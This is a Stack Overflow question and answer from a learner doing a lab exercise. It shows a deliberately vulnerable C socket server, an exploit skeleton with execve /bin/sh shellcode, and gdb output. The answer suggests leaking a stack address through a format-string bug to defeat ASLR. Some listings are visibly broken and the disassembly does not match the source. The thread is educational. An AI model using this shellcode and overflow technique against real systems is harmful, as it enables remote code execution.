How to find the Return Address when performing a Buffer Overflow Attack



Now I have overwrite the return address with the shellcode address, but the program crashes because of the Segmentation Fault.

I used the info frame to locate the return address (eip) at 0xbfffe58c enter image description here

The start address of command is 0xbfffe520 and I have the shellcode in it. However, I have already overwrite the value of 0xbfffe58c to the shellcode's address, but the application crashes.. enter image description here

I am not sure where I did wrong...


I have been learning buffer overflow attack recently. After several online tutorials, I got this small task asking me to use buffer overflow to obtain the root access of the server.

Below is the given code.

/* server.c  */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <sys/wait.h>

#define PORT 6060

int exec_command(int sock, char *buf) {

   char command[80];
   char *command_p=command;
   char *val0=0;
   char *val1=0;
   int status=10;
   dup2(sock, STDOUT_FILENO);
   dup2(sock, STDERR_FILENO );
   sprintf(command_p, "%s",  buf);
   val1= strtok(command, "\n");
   char * argv_list[] = {"/bin/grep", "-i", val1, "notes", NULL};
   printf("You have provided: \n");
    pid_t id = fork();
    if (id == -1) exit(1); 
    if (id > 0)
        waitpid(id, &status, 0);
        return 0;
    } else {     
        if(execve("/bin/grep", argv_list, NULL)==0){
        return -1;    

void main()
    struct sockaddr_in server;
    struct sockaddr_in client;
    int clientLen;
    int sock,newsock;
    char buf[1500];
    pid_t pid,current = getpid();
    int ret_val;

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (sock < 0) {
        perror("Error opening socket");
    memset((char *) &server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = htonl(INADDR_ANY);
    server.sin_port = htons(PORT);

    ret_val = bind(sock, (struct sockaddr *) &server, sizeof(server)); 
    if (ret_val < 0) {
        perror("ERROR on binding");

    while (1) {

        listen(sock, 5);
    clientLen = sizeof(client);
        newsock = accept(sock, (struct sockaddr *) &client, &clientLen);
        if (newsock < 0) {
            perror("Error on accept");
    bzero(buf, 1500);
    recvfrom(newsock, buf, 1500-1, 0, (struct sockaddr *) &client, &clientLen);
    printf("the buf: %s||\n",buf);
    exec_command(newsock, buf);
    //printf("the end\n");

My approach is to:

  1. Find the Memory Address of buf[buffer_size]
  2. Overwrite the buf[] with the shellcode
  3. Find the return address
  4. Overwrite the return address with the shellcode address.

Here is my exploit.c

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=   
  "\x31\xc0"             /* Line 1:  xorl    %eax,%eax              */
  "\x50"                 /* Line 2:  pushl   %eax                   */
  "\x68""//sh"           /* Line 3:  pushl   $0x68732f2f            */
  "\x68""/bin"           /* Line 4:  pushl   $0x6e69622f            */
  "\x89\xe3"             /* Line 5:  movl    %esp,%ebx              */
  "\x50"                 /* Line 6:  pushl   %eax                   */
  "\x53"                 /* Line 7:  pushl   %ebx                   */
  "\x89\xe1"             /* Line 8:  movl    %esp,%ecx              */
  "\x99"                 /* Line 9:  cdq                            */
  "\xb0\x0b"             /* Line 10: movb    $0x0b,%al              */
  "\xcd\x80"             /* Line 11: int     $0x80                  */

void main(int argc, char **argv)
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);

I was asked to fill the code to perform the attack. And I am also allowed to use gdb to find desired address. Here is what I filled in.


I could get the address of the buf[] by putting break point when debug server.c.

   b main
   p /x &buf

But I have problem identify the return address. I tried to use the disass to find the return address of the exec_function because I noticed that it uses sprintf function which has the overflow vulnerability. But I am having issues reading the assembly language for exec_function.

 0x080487db <+0>:   push   ebp
   0x080487dc <+1>: mov    ebp,esp
   0x080487de <+3>: sub    esp,0x88
=> 0x080487e4 <+9>: lea    eax,[ebp-0x68]
   0x080487e7 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x080487ea <+15>:    mov    DWORD PTR [ebp-0x10],0x0
   0x080487f1 <+22>:    mov    DWORD PTR [ebp-0x14],0x0
   0x080487f8 <+29>:    mov    DWORD PTR [ebp-0x6c],0xa
   0x080487ff <+36>:    sub    esp,0xc
   0x08048802 <+39>:    push   0x1
   0x08048804 <+41>:    call   0x80486c0 <close@plt>
   0x08048809 <+46>:    add    esp,0x10
   0x0804880c <+49>:    sub    esp,0xc
   0x0804880f <+52>:    push   0x2
   0x08048811 <+54>:    call   0x80486c0 <close@plt>
   0x08048816 <+59>:    add    esp,0x10
   0x08048819 <+62>:    sub    esp,0x8
   0x0804881c <+65>:    push   0x1
   0x0804881e <+67>:    push   DWORD PTR [ebp+0x8]
   0x08048821 <+70>:    call   0x8048570 <dup2@plt>
   0x08048826 <+75>:    add    esp,0x10
   0x08048829 <+78>:    sub    esp,0x8
   0x0804882c <+81>:    push   0x2
   0x0804882e <+83>:    push   DWORD PTR [ebp+0x8]
   0x08048831 <+86>:    call   0x8048570 <dup2@plt>
   0x08048836 <+91>:    add    esp,0x10
   0x08048839 <+94>:    sub    esp,0x8
   0x0804883c <+97>:    push   DWORD PTR [ebp+0xc]
   0x0804883f <+100>:   push   DWORD PTR [ebp-0xc]
   0x08048842 <+103>:   call   0x80485f0 <strcpy@plt>
   0x08048847 <+108>:   add    esp,0x10
   0x0804884a <+111>:   sub    esp,0x8
   0x0804884d <+114>:   push   0x8048b30
   0x08048852 <+119>:   lea    eax,[ebp-0x68]
   0x08048855 <+122>:   push   eax
   0x08048856 <+123>:   call   0x8048670 <strtok@plt>
   0x0804885b <+128>:   add    esp,0x10
   0x0804885e <+131>:   mov    DWORD PTR [ebp-0x14],eax
   0x08048861 <+134>:   mov    DWORD PTR [ebp-0x80],0x8048b32
   0x08048868 <+141>:   mov    DWORD PTR [ebp-0x7c],0x8048b3c
   0x0804886f <+148>:   mov    eax,DWORD PTR [ebp-0x14]
   0x08048872 <+151>:   mov    DWORD PTR [ebp-0x78],eax
   0x08048875 <+154>:   mov    DWORD PTR [ebp-0x74],0x8048b3f
   0x0804887c <+161>:   mov    DWORD PTR [ebp-0x70],0x0
   0x08048883 <+168>:   sub    esp,0xc
   0x08048886 <+171>:   push   0x8048b45
   0x0804888b <+176>:   call   0x8048610 <puts@plt>
   0x08048890 <+181>:   add    esp,0x10
   0x08048893 <+184>:   sub    esp,0xc
   0x08048896 <+187>:   lea    eax,[ebp-0x68]
   0x08048899 <+190>:   push   eax
   0x0804889a <+191>:   call   0x8048580 <printf@plt>
   0x0804889f <+196>:   add    esp,0x10
   0x080488a2 <+199>:   call   0x8048680 <fork@plt>
   0x080488a7 <+204>:   mov    DWORD PTR [ebp-0x18],eax
   0x080488aa <+207>:   cmp    DWORD PTR [ebp-0x18],0xffffffff
   0x080488ae <+211>:   jne    0x80488ba <exec_command+223>
   0x080488b0 <+213>:   sub    esp,0xc
   0x080488b3 <+216>:   push   0x1
   0x080488b5 <+218>:   call   0x8048620 <exit@plt>
   0x080488ba <+223>:   cmp    DWORD PTR [ebp-0x18],0x0
   0x080488be <+227>:   jle    0x80488eb <exec_command+272>
   0x080488c0 <+229>:   sub    esp,0x4
   0x080488c3 <+232>:   push   0x0
   0x080488c5 <+234>:   lea    eax,[ebp-0x6c]
   0x080488c8 <+237>:   push   eax
   0x080488c9 <+238>:   push   DWORD PTR [ebp-0x18]
   0x080488cc <+241>:   call   0x80485e0 <waitpid@plt>
   0x080488d1 <+246>:   add    esp,0x10
   0x080488d4 <+249>:   sub    esp,0xc
   0x080488d7 <+252>:   push   0x8048b59
   0x080488dc <+257>:   call   0x8048610 <puts@plt>
   0x080488e1 <+262>:   add    esp,0x10
   0x080488e4 <+265>:   mov    eax,0x0
   0x080488e9 <+270>:   jmp    0x804890c <exec_command+305>
   0x080488eb <+272>:   sub    esp,0x4
   0x080488ee <+275>:   push   0x0
   0x080488f0 <+277>:   lea    eax,[ebp-0x80]
   0x080488f3 <+280>:   push   eax
   0x080488f4 <+281>:   push   0x8048b32
   0x080488f9 <+286>:   call   0x8048640 <execve@plt>
   0x080488fe <+291>:   add    esp,0x10
   0x08048901 <+294>:   test   eax,eax
   0x08048903 <+296>:   jne    0x804890c <exec_command+305>
   0x08048905 <+298>:   mov    eax,0xffffffff
   0x0804890a <+303>:   jmp    0x804890c <exec_command+305>
   0x0804890c <+305>:   leave  
   0x0804890d <+306>:   ret 

How can I identify the return address? In a more general way, what is the best practice to find such an address?

asked on Stack Overflow Apr 9, 2021 by Godfrey • edited Apr 12, 2021 by Godfrey

1 Answer


Actually your code is vulnerable to 2 different things. Format string abuse and buffer overflow.

This is a typical exercise so my guess is that ASLR is enabled on the machine you're trying to exploit. This means that the return address will always be different each time you execute/trigger the vulnerable program. Because of that you won't be able to predict the return address using GDB.

The trick here is to run the exec_command function a first time to leak a stack address thanks to the format string vulnerability :


And then execute the exec_command a second time to exploit the buffer overflow by overwriting the return address with the address of your shellcode (calculated from the previously leaked address + offset).

answered on Stack Overflow Apr 9, 2021 by ShellCode • edited Apr 9, 2021 by ShellCode

User contributions licensed under CC BY-SA 3.0